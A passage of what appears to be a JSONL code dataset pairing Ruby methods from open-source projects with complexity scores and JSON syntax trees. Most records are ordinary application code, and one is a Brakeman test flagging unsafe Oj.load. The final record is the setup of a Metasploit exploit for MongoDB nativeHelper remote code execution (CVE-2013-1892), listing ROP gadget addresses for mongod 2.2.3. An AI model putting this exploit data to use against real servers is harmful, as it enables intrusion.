",\"children\":[\"at\",{\"type\":\"send\",\"children\":[null,\"create_alter_table\",{\"type\":\"lvar\",\"children\":[\"from_table\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"at\"]},\"drop_foreign_key\",{\"type\":\"lvar\",\"children\":[\"fk_name_to_delete\"]}]},{\"type\":\"send\",\"children\":[null,\"execute\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"schema_creation\"]},\"accept\",{\"type\":\"lvar\",\"children\":[\"at\"]}]}]}]}]}","id":"d81d3d06-1a41-4d3d-b12c-afe12a5f43c7"} {"repo_name":"openproject","file_path":"./repos/openproject/app/components/work_package_relations_tab/relations_mediator.rb","start_line":84,"raw_source":"def initialize(type:, work_package:, relation:, visibility: :visible, closest: false)\n type = ActiveSupport::StringInquirer.new(type.to_s)\n if relation.is_a?(Relation)\n related = relation.other_work_package(work_package)\n else\n related = relation # for parent-child relations, `relation` parameter holds the child or parent work package\n relation = nil\n end\n super(type:, work_package:, related:, relation:, visibility:, closest:)\n end","complexity_score":10.8,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"kwarg\",\"children\":[\"type\"]},{\"type\":\"kwarg\",\"children\":[\"work_package\"]},{\"type\":\"kwarg\",\"children\":[\"relation\"]},{\"type\":\"kwoptarg\",\"children\":[\"visibility\",{\"type\":\"sym\",\"children\":[\"visible\"]}]},{\"type\":\"kwoptarg\",\"children\":[\"closest\",{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"type\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveSupport\"]},\"StringInquirer\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"type\"]},\"to_s\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"relation\"]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"Relation\"]}]},{\"type\":\"lvasgn\",\"children\":[\"related\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"relation\"]},\"other_work_package\",{\"type\":\"lvar\",\"children\":[\"work_package\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"related\",{\"type\":\"lvar\",\"children\":[\"relation\"]}]},{\"type\":\"lvasgn\",\"children\":[\"relation\",{\"type\":\"nil\",\"children\":[]}]}]}]},{\"type\":\"super\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"lvar\",\"children\":[\"type\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"work_package\"]},{\"type\":\"lvar\",\"children\":[\"work_package\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"related\"]},{\"type\":\"lvar\",\"children\":[\"related\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"relation\"]},{\"type\":\"lvar\",\"children\":[\"relation\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"visibility\"]},{\"type\":\"lvar\",\"children\":[\"visibility\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"closest\"]},{\"type\":\"lvar\",\"children\":[\"closest\"]}]}]}]}]}]}","id":"8dbbff35-3218-45e5-b3a0-1bdea2978315"} {"repo_name":"spree","file_path":"./repos/spree/core/app/models/spree/refund.rb","start_line":38,"raw_source":"def money\n Spree::Money.new(amount, currency: currency)\n end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"money\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Spree\"]},\"Money\"]},\"new\",{\"type\":\"send\",\"children\":[null,\"amount\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"currency\"]},{\"type\":\"send\",\"children\":[null,\"currency\"]}]}]}]}]}","id":"58f76cee-34f8-4791-be13-11731feade75"} {"repo_name":"fastlane","file_path":"./repos/fastlane/deliver/lib/deliver/generate_summary.rb","start_line":7,"raw_source":"def run(options)\n screenshots = UploadScreenshots.new.collect_screenshots(options)\n UploadMetadata.new(options).load_from_filesystem\n HtmlGenerator.new.render(options, screenshots, '.')\n end","complexity_score":7.6,"ast_json":"{\"type\":\"def\",\"children\":[\"run\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"options\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"screenshots\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UploadScreenshots\"]},\"new\"]},\"collect_screenshots\",{\"type\":\"lvar\",\"children\":[\"options\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UploadMetadata\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"options\"]}]},\"load_from_filesystem\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"HtmlGenerator\"]},\"new\"]},\"render\",{\"type\":\"lvar\",\"children\":[\"options\"]},{\"type\":\"lvar\",\"children\":[\"screenshots\"]},{\"type\":\"str\",\"children\":[\".\"]}]}]}]}","id":"6e91a3bc-270a-497a-b575-d77be7bf2d20"} {"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/connection_adapters/abstract/schema_statements.rb","start_line":1659,"raw_source":"def validate_change_column_null_argument!(value)\n unless value == true || value == false\n raise ArgumentError, \"change_column_null expects a boolean value (true for NULL, false for NOT NULL). Got: #{value.inspect}\"\n end\n end","complexity_score":6.6,"ast_json":"{\"type\":\"def\",\"children\":[\"validate_change_column_null_argument!\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"value\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"==\",{\"type\":\"true\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"==\",{\"type\":\"false\",\"children\":[]}]}]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"ArgumentError\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"change_column_null expects a boolean value (true for NULL, false for NOT NULL). Got: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"inspect\"]}]}]}]}]}]}","id":"036859e7-c4cf-4603-81db-e0bb1d91b6a0"} {"repo_name":"discourse","file_path":"./repos/discourse/spec/models/topic_user_spec.rb","start_line":94,"raw_source":"def ensure_topic_user\n TopicUser.change(user, topic, last_emailed_post_number: 1)\n end","complexity_score":3.7,"ast_json":"{\"type\":\"def\",\"children\":[\"ensure_topic_user\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"TopicUser\"]},\"change\",{\"type\":\"send\",\"children\":[null,\"user\"]},{\"type\":\"send\",\"children\":[null,\"topic\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"last_emailed_post_number\"]},{\"type\":\"int\",\"children\":[1]}]}]}]}]}","id":"2677b34b-7fac-46f9-83a3-d4bd5bdf3d4f"} {"repo_name":"brakeman","file_path":"./repos/brakeman/test/tests/rails52.rb","start_line":525,"raw_source":"def test_remote_code_execution_oj_load\n assert_warning :type => :warning,\n :warning_code => 25,\n :fingerprint => \"97ecaa5677c8eadaed09217a704e59092921fab24cc751e05dfb7b167beda2cf\",\n :warning_type => \"Remote Code Execution\",\n :line => 51,\n :message => /^`Oj\\.load`\\ called\\ with\\ parameter\\ value/,\n :confidence => 0,\n :relative_path => \"app/controllers/users_controller.rb\",\n :code => s(:call, s(:const, :Oj), :load, s(:call, s(:params), :[], s(:lit, :json))),\n :user_input => s(:call, s(:params), :[], s(:lit, :json))\n end","complexity_score":12.8,"ast_json":"{\"type\":\"def\",\"children\":[\"test_remote_code_execution_oj_load\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"assert_warning\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"sym\",\"children\":[\"warning\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"warning_code\"]},{\"type\":\"int\",\"children\":[25]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"fingerprint\"]},{\"type\":\"str\",\"children\":[\"97ecaa5677c8eadaed09217a704e59092921fab24cc751e05dfb7b167beda2cf\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"warning_type\"]},{\"type\":\"str\",\"children\":[\"Remote Code Execution\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"line\"]},{\"type\":\"int\",\"children\":[51]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"^`Oj\\\\.load`\\\\ called\\\\ with\\\\ parameter\\\\ value\"]},{\"type\":\"regopt\",\"children\":[]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"confidence\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"relative_path\"]},{\"type\":\"str\",\"children\":[\"app/controllers/users_controller.rb\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"code\"]},{\"type\":\"send\",\"children\":[null,\"s\",{\"type\":\"sym\",\"children\":[\"call\"]},{\"type\":\"send\",\"children\":[null,\"s\",{\"type\":\"sym\",\"children\":[\"const\"]},{\"type\":\"sym\",\"children\":[\"Oj\"]}]},{\"type\":\"sym\",\"children\":[\"load\"]},{\"type\":\"send\",\"children\":[null,\"s\",{\"type\":\"sym\",\"children\":[\"call\"]},{\"type\":\"send\",\"children\":[null,\"s\",{\"type\":\"sym\",\"children\":[\"params\"]}]},{\"type\":\"sym\",\"children\":[\"[]\"]},{\"type\":\"send\",\"children\":[null,\"s\",{\"type\":\"sym\",\"children\":[\"lit\"]},{\"type\":\"sym\",\"children\":[\"json\"]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user_input\"]},{\"type\":\"send\",\"children\":[null,\"s\",{\"type\":\"sym\",\"children\":[\"call\"]},{\"type\":\"send\",\"children\":[null,\"s\",{\"type\":\"sym\",\"children\":[\"params\"]}]},{\"type\":\"sym\",\"children\":[\"[]\"]},{\"type\":\"send\",\"children\":[null,\"s\",{\"type\":\"sym\",\"children\":[\"lit\"]},{\"type\":\"sym\",\"children\":[\"json\"]}]}]}]}]}]}]}","id":"b0187927-09b0-4d52-83c6-c0d40b1f85f0"} {"repo_name":"fastlane","file_path":"./repos/fastlane/fastlane/lib/fastlane/action_collector.rb","start_line":3,"raw_source":"def show_message\n UI.message(\"Sending Crash/Success information. Learn more at https://docs.fastlane.tools/#metrics\")\n UI.message(\"No personal/sensitive data is sent. Only sharing the following:\")\n UI.message(launches)\n UI.message(@error) if @error\n UI.message(\"This information is used to fix failing actions and improve integrations that are often used.\")\n UI.message(\"You can disable this by adding `opt_out_usage` at the top of your Fastfile\")\n end","complexity_score":8.3,"ast_json":"{\"type\":\"def\",\"children\":[\"show_message\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UI\"]},\"message\",{\"type\":\"str\",\"children\":[\"Sending Crash/Success information. Learn more at https://docs.fastlane.tools/#metrics\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UI\"]},\"message\",{\"type\":\"str\",\"children\":[\"No personal/sensitive data is sent. Only sharing the following:\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UI\"]},\"message\",{\"type\":\"send\",\"children\":[null,\"launches\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@error\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UI\"]},\"message\",{\"type\":\"ivar\",\"children\":[\"@error\"]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UI\"]},\"message\",{\"type\":\"str\",\"children\":[\"This information is used to fix failing actions and improve integrations that are often used.\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UI\"]},\"message\",{\"type\":\"str\",\"children\":[\"You can disable this by adding `opt_out_usage` at the top of your Fastfile\"]}]}]}]}","id":"6cae1ad6-e475-42f7-8528-d411030128b1"} {"repo_name":"forem","file_path":"./repos/forem/app/policies/authorizer.rb","start_line":202,"raw_source":"def has_any_role?(*args)\n user.__send__(:has_any_role?, *args)\n end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"has_any_role?\",{\"type\":\"args\",\"children\":[{\"type\":\"restarg\",\"children\":[\"args\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"user\"]},\"__send__\",{\"type\":\"sym\",\"children\":[\"has_any_role?\"]},{\"type\":\"splat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]}]}]}]}","id":"f0bb1580-e153-4f1c-9960-ff5e391378af"} {"repo_name":"openproject","file_path":"./repos/openproject/app/models/queries/work_packages/filter_serializer.rb","start_line":51,"raw_source":"def self.dump(filters)\n YAML.dump ((filters || []).map(&:to_hash).reduce(:merge) || {}).stringify_keys\n end","complexity_score":10.6,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"dump\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"filters\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"YAML\"]},\"dump\",{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"lvar\",\"children\":[\"filters\"]},{\"type\":\"array\",\"children\":[]}]}]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"to_hash\"]}]}]},\"reduce\",{\"type\":\"sym\",\"children\":[\"merge\"]}]},{\"type\":\"hash\",\"children\":[]}]}]},\"stringify_keys\"]}]}]}","id":"4d2a0cc7-3010-4ff0-84fb-d4603cf5cb9e"} {"repo_name":"discourse","file_path":"./repos/discourse/spec/system/page_objects/modals/reject_reason_reviewable.rb","start_line":20,"raw_source":"def delete_user\n modal.find(\".d-modal__footer .btn.btn-danger\").click\n end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"delete_user\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"modal\"]},\"find\",{\"type\":\"str\",\"children\":[\".d-modal__footer .btn.btn-danger\"]}]},\"click\"]}]}","id":"b06c9899-f6db-4447-a8fa-7d2e18991c03"} {"repo_name":"discourse","file_path":"./repos/discourse/script/import_scripts/telligent.rb","start_line":634,"raw_source":"def get_recipient_usernames(row)\n import_user_ids = get_recipient_user_ids(row[\"ParticipantIds\"])\n\n import_user_ids\n .map! { |import_user_id| find_user_by_import_id(import_user_id).try(:username) }\n .compact\n end","complexity_score":9.4,"ast_json":"{\"type\":\"def\",\"children\":[\"get_recipient_usernames\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"row\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"import_user_ids\",{\"type\":\"send\",\"children\":[null,\"get_recipient_user_ids\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"[]\",{\"type\":\"str\",\"children\":[\"ParticipantIds\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"import_user_ids\"]},\"map!\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"import_user_id\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"find_user_by_import_id\",{\"type\":\"lvar\",\"children\":[\"import_user_id\"]}]},\"try\",{\"type\":\"sym\",\"children\":[\"username\"]}]}]},\"compact\"]}]}]}","id":"6e2a5789-c33a-47f5-8f9c-cb04dce2e845"} {"repo_name":"brakeman","file_path":"./repos/brakeman/test/tests/options.rb","start_line":109,"raw_source":"def test_limit_options\n options = setup_options_from_input(\"--branch-limit\", \"17\")\n assert_equal 17, options[:branch_limit]\n end","complexity_score":4.5,"ast_json":"{\"type\":\"def\",\"children\":[\"test_limit_options\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"options\",{\"type\":\"send\",\"children\":[null,\"setup_options_from_input\",{\"type\":\"str\",\"children\":[\"--branch-limit\"]},{\"type\":\"str\",\"children\":[\"17\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"int\",\"children\":[17]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"branch_limit\"]}]}]}]}]}","id":"f1a57964-1c07-4068-84f4-93c61d9ce39d"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/db/post_migrate/20250922064238_add_indexes_to_partitioned_project_daily_statistics.rb","start_line":18,"raw_source":"def up\n INDEX_DEFINITIONS.each do |columns, options|\n add_concurrent_partitioned_index(TABLE_NAME, columns, options)\n end\n end","complexity_score":3.1,"ast_json":"{\"type\":\"def\",\"children\":[\"up\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"INDEX_DEFINITIONS\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"columns\"]},{\"type\":\"arg\",\"children\":[\"options\"]}]},{\"type\":\"send\",\"children\":[null,\"add_concurrent_partitioned_index\",{\"type\":\"const\",\"children\":[null,\"TABLE_NAME\"]},{\"type\":\"lvar\",\"children\":[\"columns\"]},{\"type\":\"lvar\",\"children\":[\"options\"]}]}]}]}","id":"f5edbf81-e9e8-40a2-a307-d1381382d796"} {"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/vm_or_template.rb","start_line":424,"raw_source":"def enforce_policy(event, inputs = {}, options = {})\n return {\"result\" => true, :details => []} if event.to_s == \"rsop\" && host.nil?\n raise _(\"vm does not belong to any host\") if host.nil? && ext_management_system.nil?\n\n inputs[:vm] = self\n inputs[:host] = host unless host.nil?\n inputs[:ext_management_system] = ext_management_system unless ext_management_system.nil?\n MiqEvent.raise_evm_event(self, event, inputs, options)\n end","complexity_score":30.8,"ast_json":"{\"type\":\"def\",\"children\":[\"enforce_policy\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"event\"]},{\"type\":\"optarg\",\"children\":[\"inputs\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"optarg\",\"children\":[\"options\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"event\"]},\"to_s\"]},\"==\",{\"type\":\"str\",\"children\":[\"rsop\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"host\"]},\"nil?\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"result\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"details\"]},{\"type\":\"array\",\"children\":[]}]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"host\"]},\"nil?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"ext_management_system\"]},\"nil?\"]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"send\",\"children\":[null,\"_\",{\"type\":\"str\",\"children\":[\"vm does not belong to any host\"]}]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"inputs\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"vm\"]},{\"type\":\"self\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"host\"]},\"nil?\"]},null,{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"inputs\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"host\"]},{\"type\":\"send\",\"children\":[null,\"host\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"ext_management_system\"]},\"nil?\"]},null,{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"inputs\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"ext_management_system\"]},{\"type\":\"send\",\"children\":[null,\"ext_management_system\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MiqEvent\"]},\"raise_evm_event\",{\"type\":\"self\",\"children\":[]},{\"type\":\"lvar\",\"children\":[\"event\"]},{\"type\":\"lvar\",\"children\":[\"inputs\"]},{\"type\":\"lvar\",\"children\":[\"options\"]}]}]}]}","id":"35077fc3-b2e3-4b20-bcf9-fa61d2911702"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/api/admin/instance_clusters.rb","start_line":167,"raw_source":"def update_cluster_params\n declared_params(include_missing: false).without(:cluster_id)\n end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"update_cluster_params\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"declared_params\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"include_missing\"]},{\"type\":\"false\",\"children\":[]}]}]}]},\"without\",{\"type\":\"sym\",\"children\":[\"cluster_id\"]}]}]}","id":"0520ef50-4056-4d0a-907e-42fec2fbcf6e"} {"repo_name":"discourse","file_path":"./repos/discourse/lib/topic_creator.rb","start_line":89,"raw_source":"def create_warning(topic)\n return unless @opts[:is_warning]\n\n # We can only attach warnings to PMs\n rollback_with!(topic, :warning_requires_pm) unless topic.private_message?\n\n # Don't create it if there is more than one user\n rollback_with!(topic, :too_many_users) if @added_users.size != 1\n\n # Create a warning record\n UserWarning.create(topic: topic, user: @added_users.first, created_by: @user)\n end","complexity_score":11.9,"ast_json":"{\"type\":\"def\",\"children\":[\"create_warning\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"topic\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"is_warning\"]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"topic\"]},\"private_message?\"]},null,{\"type\":\"send\",\"children\":[null,\"rollback_with!\",{\"type\":\"lvar\",\"children\":[\"topic\"]},{\"type\":\"sym\",\"children\":[\"warning_requires_pm\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@added_users\"]},\"size\"]},\"!=\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"send\",\"children\":[null,\"rollback_with!\",{\"type\":\"lvar\",\"children\":[\"topic\"]},{\"type\":\"sym\",\"children\":[\"too_many_users\"]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UserWarning\"]},\"create\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"topic\"]},{\"type\":\"lvar\",\"children\":[\"topic\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@added_users\"]},\"first\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"created_by\"]},{\"type\":\"ivar\",\"children\":[\"@user\"]}]}]}]}]}]}","id":"7e84fdc7-00ef-421c-9217-4e734703c08c"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/linux/misc/mongod_native_helper.rb","start_line":11,"raw_source":"def initialize(info = {})\n super(\n update_info(\n info,\n 'Name' => 'MongoDB nativeHelper.apply Remote Code Execution',\n 'Description' => %q{\n This module exploits the nativeHelper feature from spiderMonkey which allows\n remote code execution by calling it with specially crafted arguments. This module\n has been tested successfully on MongoDB 2.2.3 on Ubuntu 10.04 and Debian Squeeze.\n },\n 'Author' => [\n 'agix' # @agixid # Vulnerability discovery and Metasploit module\n ],\n 'References' => [\n [ 'CVE', '2013-1892' ],\n [ 'OSVDB', '91632' ],\n [ 'BID', '58695' ],\n [ 'URL', 'http://blog.scrt.ch/2013/03/24/mongodb-0-day-ssji-to-rce/' ]\n ],\n 'Platform' => 'linux',\n 'Targets' => [\n [\n 'Linux - mongod 2.2.3 - 32bits',\n {\n 'Arch' => ARCH_X86,\n 'mmap' => [\n 0x0816f768,\t# mmap64@plt # from mongod\n 0x08666d07, # add esp, 0x14 / pop ebx / pop ebp / ret # from mongod\n 0x31337000,\n 0x00002000,\n 0x00000007,\n 0x00000031,\n 0xffffffff,\n 0x00000000,\n 0x00000000,\n 0x0816e4c8,\t# memcpy@plt # from mongod\n 0x31337000,\n 0x31337000,\n 0x0c0b0000,\n 0x00002000\n ],\n 'ret' => 0x08055a70, # ret # from mongod\n 'gadget1' => 0x0836e204, # mov eax,DWORD PTR [eax] / call DWORD PTR [eax+0x1c]\n # These gadgets need to be composed with bytes < 0x80\n 'gadget2' => 0x08457158, # xchg esp,eax / add esp,0x4 / pop ebx / pop ebp / ret <== this gadget must xchg esp,eax and then increment ESP\n 'gadget3' => 0x08351826, # add esp,0x20 / pop esi / pop edi / pop ebp <== this gadget placed before gadget2 increment ESP to escape gadget2\n 'gadget4' => 0x08055a6c, # pop eax / ret\n 'gadget5' => 0x08457158 # xchg esp,eax\n }\n ]\n ],\n 'DefaultTarget' => 0,\n 'DisclosureDate' => '2013-03-24',\n 'License' => MSF_LICENSE,\n 'Notes' => {\n 'Reliability' => UNKNOWN_RELIABILITY,\n 'Stability' => UNKNOWN_STABILITY,\n 'SideEffects' => UNKNOWN_SIDE_EFFECTS\n }\n )\n )\n\n register_options(\n [\n Opt::RPORT(27017),\n OptString.new('DB', [ true, \"Database to use\", \"admin\"]),\n OptString.new('COLLECTION', [ false, \"Collection to use (it must to exist). Better to let empty\", \"\"]),\n OptString.new('USERNAME', [ true, \"Login to use\", \"\"]),\n OptString.new('PASSWORD', [ true, \"Password to use\", \"\"])\n ]\n )\n end","complexity_score":15.75,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"MongoDB nativeHelper.apply Remote Code Execution\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\" This module exploits the nativeHelper feature from spiderMonkey which allows\\n\"]},{\"type\":\"str\",\"children\":[\" remote code execution by calling it with specially crafted arguments. This module\\n\"]},{\"type\":\"str\",\"children\":[\" has been tested successfully on MongoDB 2.2.3 on Ubuntu 10.04 and Debian Squeeze.\\n\"]},{\"type\":\"str\",\"children\":[\" 